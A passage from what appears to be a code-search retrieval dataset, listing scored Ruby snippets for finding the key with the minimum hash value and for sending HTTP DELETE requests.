"title": "" }, { "docid": "41f0d5d4371e7e781570c4842a0b94c6", "score": "0.83581704", "text": "def key_for_min_value(hash)\n min = nil\n k = nil\n hash.each do |key, value|\n if !min || value < min\n min = value\n k = key\n end\n end\n k\nend", "title": "" }, { "docid": "7f14531cc53cc34d9511f767e6802bc3", "score": "0.8354745", "text": "def key_for_min_value(hash)\n min_val = nil\n min_key = nil\n \n hash.each do |key, value|\n if min_val == nil || value < min_val \n min_val = value\n min_key = key\n end\n end \n return min_key\nend", "title": "" }, { "docid": "b95a68401d61853e70592407ff571cd2", "score": "0.8346988", "text": "def key_for_min_value(hash)\n\n low_name = nil\n low_val = nil\n\n hash.each do |name, value|\n if low_val == nil || value < low_val\n low_val = value\n low_name = name\n end\n end\n return low_name\nend", "title": "" }, { "docid": "d5dfe37d5df260abb8710e463b1fe496", "score": "0.8344885", "text": "def key_for_min_value(name_hash)\n smallest = nil\n smallkey = nil\n if name_hash == {}\n nil\n else\n name_hash.collect do |key, value|\n if nil == smallest\n smallest = value\n smallkey = key\n elsif value < smallest\n smallest = value\n smallkey = key\n end\n end\n smallkey\n end\nend", "title": "" }, { "docid": "b16999cb8da6c5e1834d351837391d0d", "score": "0.83442867", "text": "def key_for_min_value(name_hash)\n smallest = Float::INFINITY\n sel = nil\n name_hash.collect do |k,v|\n if v < smallest\n smallest = v\n sel = k\n end\n end\n sel\nend", "title": "" }, { "docid": "857cc51f5b6466f0430d231363675ebf", "score": "0.83361584", "text": "def key_for_min_value(name_hash)\nsmallest_key=nil\nsmallest_value = 10000\nname_hash.each do |key, number| \n if number<=smallest_value\n smallest_value=number\n end\nend\nname_hash.key(smallest_value)\nend", "title": "" }, { "docid": "cfce992210d54da8d8e0779dd767fa8c", "score": "0.8334391", "text": "def key_for_min_value(name_hash)\n low = Float::INFINITY # express infinity\n name_hash.each do |key, value|\n if value < low\n low = value\n end\n end\n name_hash.key(low)\nend", "title": "" }, { "docid": "f6433b669cfc53e3a16fcb7150f69b0b", "score": "0.83285975", "text": "def key_for_min_value(the_hash)\n vals = the_hash.map { |k, v| v }\n keys = the_hash.map { |k, v| k }\n lowest = vals.sort[0]\n\n if the_hash.empty?\n nil\n else\n return keys[vals.index(lowest)]\n end\nend", "title": "" }, { "docid": "5a67ad385bebec655f7c2d75ca28158d", "score": "0.83268636", "text": "def key_for_min_value(hash)\n low_key = nil\n high_value = 100000\n hash.each do |key, value|\n if value < high_value\n high_value = value\n low_key = key\n end\n end\n low_key\nend", "title": "" }, { "docid": "aa1f9c93291d2bc18f48a727341b1d48", "score": "0.8325287", "text": "def key_for_min_value(name_hash)\n smallest = nil\n final_key = nil\n name_hash.each do |key, value|\n if !smallest\n smallest = value\n final_key = key\n else\n if value < smallest\n smallest = value\n final_key = key\n end\n end\n end\n final_key\nend", "title": "" }, { "docid": "93060b60c5fc8699ce56aab3aa5aa633", "score": "0.8322426", "text": "def key_for_min_value(name_hash)\n\tskey, smallest = name_hash.first\n\tname_hash.each do |key, value|\n\t\tif value < smallest\n\t\t\tskey = key\n\t\tend\n\tend\n\tskey\nend", "title": "" }, { "docid": "b414e6e748b033108975ab3559eeb4ac", "score": "0.8321538", "text": "def key_for_min_value(name_hash)\n key_of_lowest_value = nil\n lowest_value = 999999999999\n name_hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n key_of_lowest_value = k\n end\n end\n key_of_lowest_value\nend", "title": "" }, { "docid": "51a6cadf90ff0488493c451230083dc0", "score": "0.83170885", "text": "def key_for_min_value(hash)\n if hash.length == 0 \n return nil \n end\n \n min_key = 9999\n min_val = 9999\n \n hash.each do |key, value|\n if value < min_val\n min_val = value\n min_key = key\n end\n end\n return min_key\n \n \nend", "title": "" }, { "docid": "ded2ec0f491d9511b7412df8aeca5ef7", "score": "0.8313793", "text": "def key_for_min_value(name_hash)\n lowest_value = 1000\n lowest_key = nil\n name_hash.each do |key, value|\n if value < lowest_value\n lowest_value = value\n end\n if lowest_value == value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "cae87c3799e039dd1987880e1b822b73", "score": "0.83044046", "text": "def key_for_min_value(hash)\n min_k = nil\n min_v = nil\n hash.each do |key, value|\n min_k = key if min_k == nil\n min_v = value if min_v == nil\n if value < min_v\n min_v = value\n min_k = key\n end\nend\n min_k\nend", "title": "" }, { "docid": "648bd9d1f9348e215d9d8b065f08807f", "score": "0.83016783", "text": "def key_for_min_value(name_hash)\n lowest_value = 0\n lowest_key = nil\n name_hash.each do |key,value|\n if lowest_value == 0 || value < lowest_value\n lowest_value = value \n lowest_key = key\n end\n end\n lowest_key\n end", "title": "" }, { "docid": "e0b51124441bb3a0844fd1cbb9841254", "score": "0.8300265", "text": "def key_for_min_value(has)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k,v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "b0b3d135407df1cd296dfea704f502c9", "score": "0.8297667", "text": "def key_for_min_value(hash)\n lowest_key = nil \n lowest_value = nil\n hash.collect do |a, b|\n if lowest_value == nil || b < lowest_value\n lowest_value = b\n lowest_key = a \n end\n end\n lowest_key\nend", "title": "" }, { "docid": "c39b4b472ca2c3b934c6a4768c11d10b", "score": "0.8291352", "text": "def key_for_min_value(hash)\n out = nil\n nill = nil \n hash.each do |k,v|\n if nill == nil || v < nill\n out = k\n nill = v\n end\n end\n out\nend", "title": "" }, { "docid": "475cc305ddb149081fa9fba1de97c060", "score": "0.8286612", "text": "def key_for_min_value(hash)\n\tif hash != {}\n\t\tarray = hash.sort_by{|k,v| v}\n\t\tnew_hash = Hash[array.map {|key, value| [key, value]}]\n\t\tkey_array = new_hash.keys\n\t\tkey_array[0]\n\telse\n\t\tnil\n\tend\nend", "title": "" }, { "docid": "67fc803b393c9120086b050dd0ab8884", "score": "0.82831943", "text": "def key_for_min_value(name_hash)\n hash_num = 0\n lowest_hash_key = \"\"\n if name_hash == {}\n return\n end\n\n name_hash.collect do |key, value|\n if hash_num == 0\n hash_num = value\n lowest_hash_key = key\n elsif hash_num > value\n hash_num = value\n lowest_hash_key = key\n\n end\n end\n lowest_hash_key\nend", "title": "" }, { "docid": "fdcd20dc142920b8d4662027d722898e", "score": "0.8281909", "text": "def key_for_min_value(name_hash)\n lowest = 99999999\n if name_hash == {}\n nil\n else\n name_hash.collect do |key, value|\n if value < lowest\n lowest = value\n end\n end\n name_hash.key(lowest)\nend\nend", "title": "" }, { "docid": "5527b3ba0bcb7869fd27f7d5f7410ab3", "score": "0.8275122", "text": "def key_for_min_value(name_hash)\n smallest_value = 10000\n name_hash.each do |key, value|\n if value < smallest_value\n smallest_value = value\n end \n end\n smallest_value\n name_hash.key(smallest_value)\nend", "title": "" }, { "docid": "dd557f5393598205c4b2e991e2502023", "score": "0.8273796", "text": "def key_for_min_value(name_hash)\n smallestKey = nil\n smallestValue = 2000\n name_hash.collect do |item, num|\n if num < smallestValue\n smallestKey = item\n smallestValue = num\n end\n end\n smallestKey\nend", "title": "" }, { "docid": "f320036f51c62e20e03d41242df7e80a", "score": "0.82722396", "text": "def key_for_min_value(name_hash)\n\tsmallest_value = 0\n\tsmallest_value_key = nil\n\n\tname_hash.each_with_index do |(key, value), i|\n\t\tif i == 0\n\t\t\tsmallest_value = value\n\t\t\tsmallest_value_key = key\n\t\tend\n\t\tif smallest_value > value\n\t\t\tsmallest_value = value \n\t\t\tsmallest_value_key = key\n\t\tend\n\tend\n\tsmallest_value_key\nend", "title": "" }, { "docid": "793438733ebf3f09ab385967728f189c", "score": "0.82700664", "text": "def key_for_min_value(name_hash)\n key = nil\n num = nil\n name_hash.each do |name, value|\n if num == nil\n num = value\n key = name\n elsif value < num\n num = value\n key = name\n end\n end\n key\nend", "title": "" }, { "docid": "24cbce2787c5f157492fed1063e9b198", "score": "0.82699126", "text": "def key_for_min_value(name_hash)\n if name_hash == {}\n return nil\n end\n low_num = name_hash.first[1]\n low_key = name_hash.first[0]\n name_hash.each do |key, value|\n if value < low_num\n low_num = value\n low_key = key\n end\n end\n low_key \nend", "title": "" }, { "docid": "b393a616dc6eb0e638b2fec00be397be", "score": "0.8269708", "text": "def key_for_min_value(hash)\n lowest_value = nil\n lowest_key = nil\n\n hash.each do |key, value|\n if lowest_value == nil || value < lowest_value #so lowest_value == nil MUST be first, or else get argumentative error because cant compare value \"<\" nil argumentative error\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "328fe637744c9da882e74cca5dfcc629", "score": "0.8266963", "text": "def key_for_min_value(name_hash)\n values = name_hash.collect {|key, value| value}\n smallest = values[0]\n for value in values\n if value < smallest\n smallest = value\n end\n end\n name_hash.key(smallest)\nend", "title": "" }, { "docid": "85a8990a2d65a4a50cc41262330aac5c", "score": "0.82645655", "text": "def key_for_min_value(name_hash)\n if name_hash.size == 0\n return nil\n else\n smallest_key, smallest_key_num = name_hash.first\n name_hash.each do |key, num|\n if num < smallest_key_num\n smallest_key_num = num\n smallest_key = key\n end\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "91f6e33b3609ad60d72b88e544c0652c", "score": "0.8256929", "text": "def key_for_min_value(name_hash)\n smallest_value = 9999999999999\n smallest_key = nil\n name_hash.each do |element|\n if element[1]< smallest_value\n smallest_value = element[1]\n smallest_key = element[0]\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "9b4a41cb37c1a6c3ed4a06e13fc83c50", "score": "0.82563484", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |key, value|\n if lowest_value == nil || value < lowest_value #lowest_value = nil in this part\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "ae712e1cd355755d634fa182a00e2eb7", "score": "0.82539773", "text": "def key_for_min_value(name_hash)\n \n lowest_number = 1000\n lowest_key = nil\n \n name_hash.each do |key, value|\n if value < lowest_number\n lowest_number = value \n lowest_key = key \n end\n end\n return lowest_key \nend", "title": "" }, { "docid": "8ff3186ed34716366ce4489b764b2196", "score": "0.8252522", "text": "def key_for_min_value(hash) \n\n min_value = 0\n min_key = 0\n \n if hash.empty?\n return nil\n end\n \n hash.each do |key, value|\n\n if min_value == 0 || value < min_value \n min_value = value\n min_key = key\n end\n end\n min_key\n\n \n \n\n\nend", "title": "" }, { "docid": "fea0eb5b81db16536604c58d63aeccff", "score": "0.8250185", "text": "def key_for_min_value(name_hash)\n smallest_key_value = 0\n desired_key = nil\n name_hash.each do |key, value|\n if value < smallest_key_value || smallest_key_value == 0\n smallest_key_value = value\n desired_key = key\n end\n end\n desired_key\nend", "title": "" }, { "docid": "54267f4b76ae17968e3673fcf95dd264", "score": "0.82493806", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k, v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\np lowest_key\nend", "title": "" }, { "docid": "d6a9f5ef7d887c611613c767f0e140fd", "score": "0.8246938", "text": "def key_for_min_value(hash)\n key2 = nil\n value2 = nil\n hash.collect do |key, value|\n if value2 == nil\n key2 = key\n value2 = value\n elsif value2 > value\n key2 = key\n value2 = value\n end\n end\n key2\nend", "title": "" }, { "docid": "88192afde83c8678ab9af58808ffd384", "score": "0.8244805", "text": "def key_for_min_value(name_hash)\n num = 0\n name_hash.each do |key,value|\n if num == 0\n num = value\n elsif value < num\n num = value\n end\n end\n name_hash.key(num)\nend", "title": "" }, { "docid": "c576f4496abe817d198d25ea16588771", "score": "0.8243904", "text": "def key_for_min_value(name_hash)\n lowest = 1000000\n lowest_item = nil\n name_hash.each do |item, value|\n if value < lowest\n lowest = value\n lowest_item = item\n end\n end\n lowest_item\nend", "title": "" }, { "docid": "fbdc95c4d6850f1cdcf75c33bed5ad62", "score": "0.8243451", "text": "def key_for_min_value(name_hash)\n lowest_value = find_lowest(name_hash)\n name_hash.key(lowest_value)\nend", "title": "" }, { "docid": "71429da2eb250413a3b57bdbde630ba8", "score": "0.823718", "text": "def key_for_min_value(name_hash)\n if name_hash.empty?\n return\n end\n val = 10000000000\n smallest_key = \"\"\n name_hash.collect do |key, value|\n if value < val\n smallest_key = key\n val = value\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "647eb140844a5332166368d3bcfecc8a", "score": "0.8236949", "text": "def key_for_min_value(name_hash)\n lowest = 0\n lowest_key = nil\n name_hash.each do |k, v|\n if lowest == 0\n lowest = v\n lowest_key = k\n elsif lowest > v\n lowest = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "c38491fddaa2fe9b333d19f06c52525e", "score": "0.82322043", "text": "def key_for_min_value(hash)\n small = nil\n tiny = nil\n hash.each do |key, value|\n if tiny == nil || value < tiny\n tiny = value\n small = key\n end\n end\n small\nend", "title": "" }, { "docid": "7c062fa83e9059d43e1039279afbf733", "score": "0.8231087", "text": "def key_for_min_value(name_hash)\n smallest_key=nil \n smallest_value=nil\n name_hash.each do |key, val|\n if smallest_key== nil||val<smallest_value\n smallest_value=val\n key=smallest_key= key\n end\n end\n\n smallest_key\n end", "title": "" }, { "docid": "97eae1a02a7297721cbdf2d1285d7425", "score": "0.82306457", "text": "def key_for_min_value(name_hash)\n hash_values = name_hash.collect {|key, value| value}\n least = hash_values[0]\n hash_values.each do |value| \n if value < least\n least = value\n end\n end\n name_hash.key(least)\nend", "title": "" }, { "docid": "7d7b08d498c532430b3c70f1f9c1c5f8", "score": "0.82298714", "text": "def key_for_min_value(name_hash)\n smallest_value = 0 \n smallest_key = nil \n name_hash.each do |key,value|\n if smallest_value == 0 || value < smallest_value\n smallest_value = value \n smallest_key = key \n end \n end\n smallest_key\nend", "title": "" }, { "docid": "0ec68a27d47bc14735c772b55f02ff92", "score": "0.82284343", "text": "def key_for_min_value(name_hash)\n return nil if name_hash.empty?\n lowest_value=99\n name_hash.each { |key,value|\n lowest_value = value unless lowest_value < value\n }\n name_hash.key(lowest_value)\nend", "title": "" }, { "docid": "bf221d5a2dee3eb005185f3bdfc2df65", "score": "0.8227852", "text": "def key_for_min_value(name_hash)\nlowest = 999999\nresult = nil\nname_hash.each do |key, value|\n if value < lowest\n result = key\n lowest = value\nend\n end\nresult\nend", "title": "" }, { "docid": "a20616bf7fc77d9ceb14bfb8a0c1d081", "score": "0.8227016", "text": "def key_for_min_value(name_hash)\n if name_hash.empty?\n nil\n else\n small_value = nil\n small_key = nil\n name_hash.each do |name, num|\n if small_value == nil || num < small_value\n small_value = num\n small_key = name\n end\n end\n small_key\n end\nend", "title": "" }, { "docid": "6e808f0dbde08485fe8003dfbe0ae78d", "score": "0.8226128", "text": "def key_for_min_value(hash)\n\n name, acc = hash.first\n\n if hash == {}\n nil\n else\n hash.each do |key, value|\n if value < acc\n acc = value\n name = key\n end\n end\n end\n name\nend", "title": "" }, { "docid": "8df01aa2faf978c607b835713ad334f8", "score": "0.82251215", "text": "def key_for_min_value(name_hash)\nsmall_key = nil\n small_value = 9999\n name_hash.each do |key, value|\n if value < small_value \n small_value = value\n small_key = key\n end\n end\n small_key\n end", "title": "" }, { "docid": "0285361eac212bf1042b9aa8c81ed8f5", "score": "0.8219871", "text": "def key_for_min_value(h)\n\tmin = h.collect do |key, value|\n\t\tvalue\n\tend\n\tsmallest = min[0]\n\tcount = 0\n\twhile count < min.length\n\t\tmin.each_with_index do |num, index|\n\t\t\tif min[index] < min[count]\n\t\t\t\tsmallest = min[index]\n\t\t\tend\n\t\tend\n\t\tcount += 1\n\tend\n\th.index(smallest)\nend", "title": "" }, { "docid": "95e0ab7c417950b476dd8eebf6647f2b", "score": "0.8218913", "text": "def key_for_min_value(name_hash)\n value = nil\n select_key = nil\n\n name_hash.each do |key, num|\n if value == nil\n value = num\n select_key = key\n elsif num < value\n value = num\n select_key = key\n end\n end\n\n select_key\nend", "title": "" }, { "docid": "6795b9b3296b44c68a6c377481104209", "score": "0.82172865", "text": "def key_for_min_value(name_hash)\n low_value = 0\n name_hash.each do |key, value|\n if low_value == 0\n low_value = value\n elsif low_value < value\n else\n low_value = value\n end\n end\n low_value\n\n name_hash.key(low_value)\nend", "title": "" }, { "docid": "20383784bc7faed9218241bdf579d458", "score": "0.8216739", "text": "def key_for_min_value(name_hash)\n if name_hash.empty?\n return nil\n end\n highest_value = 999999\n smallest_key = 0\n name_hash.collect do |key, value|\n if value < highest_value\n highest_value = value\n smallest_key = key\n end\n end\n smallest_key\nend", "title": "" } ]
043db2e3a73a13cbeaa9db0147f6bfd8
Send a HTTP Delete ==== Parameters [optional, String] resource path URI [optional, Hash] Query parameters ==== Return JSON decoded object
[ { "docid": "8d515d00923548a60af84a0d8f816fff", "score": "0.7684217", "text": "def delete(resource = \"\", params = {})\n uri = \"#{base_uri}#{resource}\"\n params.empty? or uri = uri.concat('?').concat(params.collect { |k, v| \"#{k}=#{v.to_s}\" }.join(\"&\"))\n request(Net::HTTP::Delete.new(uri))\n end", "title": "" } ]
[ { "docid": "b530d57fd1601db5fe49d269dfac029f", "score": "0.8124497", "text": "def delete_rest_call(path, params = nil)\n uri = URI.parse('#{@base_url}#{path}')\n req_path = uri.path\n if params\n uri.query = URI.encode_www_form(params)\n req_path = '#{uri.path}?#{uri.query}'\n end\n request = Net::HTTP::Delete.new(req_path)\n return JSON.parse(send_request(request, uri).body)\n end", "title": "" }, { "docid": "822ddea2e45bf78350003645efcbdb54", "score": "0.7981405", "text": "def delete uri, args = {}; Request.new(DELETE, uri, args).execute; end", "title": "" }, { "docid": "20e760e2695c1644b0a8e63a73e951d1", "score": "0.7949433", "text": "def delete(headers, resource, data, params)\n puts curlize( build_uri(resource, params), :headers => headers, :method => :delete, :body => data) if ENV['VERBOSE']\n request = Net::HTTP::Delete.new(resource_path(resource), headers)\n return Benchmark.realtime{ @response = @http.request(request) }, @response\n end", "title": "" }, { "docid": "718fd485f95a30a8c897e2403defb29f", "score": "0.7948772", "text": "def delete(path, params={}); make_request(:delete, host, port, path, params); end", "title": "" }, { "docid": "dc09c66c76cef29fbba0ce523969945f", "score": "0.7930033", "text": "def delete(headers, resource, data, params)\n request = Net::HTTP::Delete.new(resource_path(resource), headers)\n @http.request(request)\n end", "title": "" }, { "docid": "a8f2645a1b24e963718cc3b4fe279d8b", "score": "0.7889037", "text": "def delete(resource_url, body = nil, &block)\n http_delete = Net::HTTP::Delete.new resource_url, {'Content-Type' =>'application/json'}\n http_delete.body = json_body(body) if body\n call_http_server http_delete, &block\n end", "title": "" }, { "docid": "6a19ba99f0d1f7225b5ed73fe068136d", "score": "0.7788136", "text": "def delete(path, params: {}, headers: {})\n request_json :delete, path, params, headers\n end", "title": "" }, { "docid": "57b799133d29316426c358002043baa2", "score": "0.778656", "text": "def delete_rest(path, headers={}) \n run_request(:DELETE, create_url(path), headers) \n end", "title": "" }, { "docid": "0387aa3c568d857184e97a214e580a14", "score": "0.7763106", "text": "def delete(path, params = {}, payload = {})\n JSON.parse Generic.delete(@base_url, @headers, path, params, payload)\n end", "title": "" }, { "docid": "69aefdc0b11064ee8206d6335877dcde", "score": "0.7732597", "text": "def delete(path, params = {}, headers = {})\n headers[\"Content-Type\"] ||= \"application/json\"\n\n response = connection.send(\n :delete,\n path,\n params,\n default_headers.merge(headers)\n )\n\n Response.new(response)\n end", "title": "" }, { "docid": "b25448b762f4c6ddc60bf70538ef7886", "score": "0.7732482", "text": "def make_delete_request uri:, params: {}, options: {}\n make_http_request :delete, uri: uri, body: nil, params: params, options: options\n end", "title": "" }, { "docid": "b25448b762f4c6ddc60bf70538ef7886", "score": "0.7732482", "text": "def make_delete_request uri:, params: {}, options: {}\n make_http_request :delete, uri: uri, body: nil, params: params, options: options\n end", "title": "" }, { "docid": "429270158b938b4b8fb5789b838f6a56", "score": "0.76749355", "text": "def delete(resource_path)\n response = @http_client[resource_path].delete\n Response.new(response)\n rescue => err\n raise communication_error err\n end", "title": "" }, { "docid": "4cdb17ccf9a19c2fe3d4a6e920d6cd2d", "score": "0.7636793", "text": "def delete(uri, params = nil) # => Hash\n uri = URI(@host + uri.to_s)\n puts 'DELETE URL:', uri if $DEBUG\n uri.query = String.encode_www_form params if params\n error RestClient.delete(uri.to_s)\n rescue RestClient::Exceptions::OpenTimeout\n retry\n rescue RestClient::BadGateway\n retry\n end", "title": "" }, { "docid": "00c90bc63b0302afbbc4b2979ae20b57", "score": "0.75983554", "text": "def api_delete(path, data = {})\n api_request(:delete, path, :data => data).parsed\n end", "title": "" }, { "docid": "6534d3f3cde6431e173072ee3ab56e4e", "score": "0.7596202", "text": "def delete(uri, params = {})\n send_request(uri, :delete, params)\n end", "title": "" }, { "docid": "4f588a203de0254579994f89344ee0e8", "score": "0.759578", "text": "def domainResourceDelete args\n \tif not args.has_key(:ResourceID)\n \t\traise \"ResourceID argument missing from argument list\"\n \tend\n \t\n \tmake_request this_method, args\n end", "title": "" }, { "docid": "e7b9df28073323bed6ec057b699cccb7", "score": "0.7572279", "text": "def delete(path, options={}, params_encoder=params_encoder, encode_json=false, raw=false, no_response_wrapper=no_response_wrapper)\n request(:delete, path, options, params_encoder, encode_json, raw, no_response_wrapper)\n end", "title": "" }, { "docid": "b445c184893647d3482f8fbc6a507a52", "score": "0.7569258", "text": "def delete(path, params = {})\n path += '.json'\n res = @connection.delete(path, @header)\n parse_response(res)\n end", "title": "" }, { "docid": "70be323439f16c4ce9edb3c5c98fe545", "score": "0.75625396", "text": "def delete(*args)\n http_client.delete(uri, *merge_http_options(args))\n end", "title": "" }, { "docid": "2bd28b97ff0dff317eff5f1618b4abf2", "score": "0.75437623", "text": "def delete(resource, body = nil, params = {})\n connection(:delete, resource, body, params)\n end", "title": "" }, { "docid": "8bc8b05d3cee815dc5354b6d1048665c", "score": "0.7533807", "text": "def delete(uri, *args, &block)\n request(:delete, uri, argument_to_hash(args, :body, :header, :query), &block)\n end", "title": "" }, { "docid": "963b46fe0c257b8814ac3b0dcbcc76dc", "score": "0.7533359", "text": "def request_delete(path, headers = {})\n http = Net::HTTP.new(REST_ENDPOINT, @options[:ssl] ? 443 : 80)\n\n http.use_ssl = @options[:ssl]\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n \n http.start do |http|\n req = sign_request(Net::HTTP::Delete.new(path), nil, headers)\n return http.request(req)\n end\n end", "title": "" }, { "docid": "5403be2e0c1864794b0686a0ffbf7089", "score": "0.7526853", "text": "def do_delete(path, params=nil, options={})\n do_request(:delete, path, {:query => params}.merge(options))\n end", "title": "" }, { "docid": "afb06f7ca270857fad56787d2f236025", "score": "0.75243616", "text": "def restHttpDelete(id, format = @format, sessionId = @sessionId)\n # Validate SessionId is not nil\n assert(sessionId != nil, \"Session ID passed into DELETE was nil\")\n\n urlHeader = makeUrlAndHeaders('delete',id,sessionId,format)\n @res = RestClient.delete(urlHeader[:url], urlHeader[:headers]){|response, request, result| response }\n\n puts(@res.code,@res.body,@res.raw_headers) if $SLI_DEBUG\nend", "title": "" }, { "docid": "c53a7ddfb5f66bdab62b1fc4305a0473", "score": "0.7523633", "text": "def delete *args\n make_request :delete, *args\n end", "title": "" }, { "docid": "174b723f9e43bfa7501a9cdc389e4c1b", "score": "0.75069755", "text": "def delete\n @response = self.class.delete(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\")\n end", "title": "" }, { "docid": "a803fc4feef9467f85f05cc97d17c5b5", "score": "0.7506033", "text": "def delete\n request = Request.new(@uri, headers: @headers)\n request.delete\n end", "title": "" }, { "docid": "c1cde2518cb592b6add14fe05ae1b37d", "score": "0.7483822", "text": "def delete\n options = self.to_h \n uri = self.class.path_builder(:delete, self.id)\n data = {}\n data['id'] = self.id \n data = data.to_json\n VivialConnect::Client.instance.make_request('DELETE', uri, data)\n end", "title": "" }, { "docid": "9106867cee9e8775ba817195d3bc2020", "score": "0.7482192", "text": "def delete_rest(path) \n run_request(:DELETE, create_url(path)) \n end", "title": "" }, { "docid": "e49b626d724a7c27da3139a1b0718839", "score": "0.74768823", "text": "def delete(path, params, options = {})\n raw_request(:delete, path, params, options)\n end", "title": "" }, { "docid": "d395fb2146b5771fcb6acd74a0c97eac", "score": "0.7468939", "text": "def delete(path, params = {}, header = {})\n _send(Net::HTTP::Delete.new(expand_path(path, params), expand_header(header)))\n end", "title": "" }, { "docid": "75a785bddc2252b3dfe08070dcb44399", "score": "0.74450904", "text": "def delete(args)\n if args[:json]\n post(args.merge(method: :delete))\n else\n get(args.merge(method: :delete))\n end\n end", "title": "" }, { "docid": "20875153d9aae49a7699d2417d8694c7", "score": "0.74450004", "text": "def http_delete(path, headers = {})\n clear_response\n @success_code = 204\n @response = http.delete(path, headers)\n parse_response? ? parsed_response : response.body\n end", "title": "" }, { "docid": "e084b5e170934a516b3cd73e01d1e326", "score": "0.7426617", "text": "def delete(uri, options = {})\n build_response(request.delete(uri, build_request_options(options)))\n end", "title": "" }, { "docid": "b6d62d758e594c991af1ed350846a2bb", "score": "0.7401112", "text": "def delete(uri, headers={})\n req = Net::HTTP::Delete.new(uri)\n request(req, headers)\n end", "title": "" }, { "docid": "11929b810125147d658c5c2733305461", "score": "0.73975194", "text": "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "title": "" }, { "docid": "cf9ce4d618892f16197758b3647db222", "score": "0.7397259", "text": "def delete(path, params = {}, &block)\n uri = uri_from_path(path)\n uri.query = URI.encode_www_form params unless params.empty?\n request(Net::HTTP::Delete.new(uri), &block)\n end", "title": "" }, { "docid": "6c537b3a0008ef6459c518123cbcc9d5", "score": "0.73943704", "text": "def delete(path, params = {})\n request :delete, path, params\n end", "title": "" }, { "docid": "3b3fab7c50ee8cc6b00d82de72d81899", "score": "0.73877525", "text": "def http_delete(path, query:nil)\n @http ||= Net::HTTP.start(@http_url.host, @http_url.port)\n url = @http_url.dup\n url.path = path\n url.query = query unless query.nil? || query.empty?\n\n request = Net::HTTP::Delete.new url\n response = @http.request request\n\n response.code.to_i\n end", "title": "" }, { "docid": "6159905e7de253904255d8a7da4c1026", "score": "0.7375562", "text": "def http_delete\n self.http :DELETE\n end", "title": "" }, { "docid": "773e5d611adeb09776f9c841e1b876cc", "score": "0.73589504", "text": "def delete_json(path, params = {}, headers = {})\n json_request(:delete, path, params, headers)\n end", "title": "" }, { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.7349216", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "09f6303f18ce5612216026bdd448d644", "score": "0.7340896", "text": "def api_delete(path)\n api_request(Net::HTTP::Delete.new(path))\n end", "title": "" }, { "docid": "3ab7c3aa5a484212aedeaf470ca2a7a5", "score": "0.7340031", "text": "def delete(path, options={}, format=format)\n respond request(:delete, path, options, format)\n end", "title": "" }, { "docid": "2ddb24df38df7fc97bbba9714d93c9c6", "score": "0.73388386", "text": "def delete!\n request = Net::HTTP::Delete.new(uri)\n response = get_response(request)\n GunBroker::Response.new(response)\n end", "title": "" }, { "docid": "6fd29b7b02e7cd48720ddd5cd51592cf", "score": "0.73348683", "text": "def restHttpDelete(id, format = @format, sessionId = @sessionId)\n sessionId.should_not be_nil\n\n urlHeader = makeUrlAndHeaders('delete',id,sessionId,format)\n #@res = RestClient.delete(urlHeader[:url], urlHeader[:headers]){|response, request, result| response }\n\n @res = RestClient::Request.execute(:method => :delete, :url => urlHeader[:url], :headers => urlHeader[:headers],\n :timeout => 500){|response, request, result| response }\n\n puts(@res.code,@res.body,@res.raw_headers) if $SLI_DEBUG\nend", "title": "" }, { "docid": "3e30a16a16196e83377c9900eb9268ee", "score": "0.73332053", "text": "def delete(uri, body = nil, headers = {})\n request :delete, uri, body: body, headers: headers\n end", "title": "" }, { "docid": "828dab8869d2b9538fa3a76cfe617312", "score": "0.73316866", "text": "def delete(parameters={}, type='json')\n perform_request Net::HTTP::Delete, parameters, type\n end", "title": "" }, { "docid": "e64ed131104dbc8b663b402de5072e82", "score": "0.73220086", "text": "def delete(uri, options={})\n methods = methods_for_uri(uri)\n return status_405(methods) unless methods.include?('DELETE')\n return invalid_entity_type unless @collections.include?(uri.collection_type)\n return etag_required unless options[:etag]\n resource = CloudKit::Resource.first(options.excluding(:etag).merge(:uri => uri.string))\n return status_404 unless (resource && (resource.remote_user == options[:remote_user]))\n return status_410 if resource.deleted?\n return status_412 if resource.etag != options[:etag]\n\n resource.delete\n return json_meta_response(200, resource.uri.string, resource.etag, resource.last_modified)\n end", "title": "" }, { "docid": "c0e04e7b24575da23f7965e8dad6e32c", "score": "0.73093516", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "3da92ce397b3cb2144927030c5364f04", "score": "0.73083776", "text": "def delete(path, params: {}, body: {})\n request(:delete, path, params: params, body: body)\n end", "title": "" }, { "docid": "d2375b11675de0e152de07976b50e9c7", "score": "0.7305989", "text": "def delete_request(url, queries)\n results = @@client.delete url, queries\n results.to_json\nend", "title": "" }, { "docid": "40ac28883502e2b63c463105439dd752", "score": "0.7296681", "text": "def delete(path, body={}, params = {})\n request :delete, path, body, params\n end", "title": "" }, { "docid": "e99413c26beb9b54d2b832ef47feadd2", "score": "0.72947806", "text": "def delete(path, options={}, signature=false, raw=false, unformatted=false, no_response_wrapper=no_response_wrapper)\n request(:delete, path, options, signature, raw, unformatted, no_response_wrapper)\n end", "title": "" }, { "docid": "2657a06e61867c5178ae4f8aaaad6ff9", "score": "0.7284377", "text": "def delete(params = {})\n call(\"#{@endpoint}.delete\", params)\n end", "title": "" }, { "docid": "1cdfc603d6d04148fa50400fc7b7347c", "score": "0.7284094", "text": "def delete(path, params = {}, headers = {})\n request(:delete, path, params, headers)\n end", "title": "" }, { "docid": 